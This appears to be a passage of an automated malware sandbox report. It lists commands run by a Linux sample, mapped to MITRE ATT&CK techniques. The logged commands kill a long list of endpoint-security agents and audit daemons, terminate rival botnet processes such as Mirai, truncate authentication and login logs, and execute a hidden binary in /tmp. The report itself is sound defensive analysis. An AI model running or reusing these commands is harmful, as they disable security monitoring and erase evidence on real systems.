/usr/bin/pkillpkill -9 -x avp44.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp50.exe1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
-
/usr/bin/truncatetruncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
-
/usr/bin/pkillpkill -9 -x hakai1⤵
-
/usr/bin/pkillpkill -9 -x sora1⤵
-
/usr/bin/pkillpkill -9 -x qbot1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
-
/tmp/.z/tmp/.z1⤵
-
/tmp/.z/tmp/.z1⤵
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Scheduled Task/Job
1At
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
2System Checks
2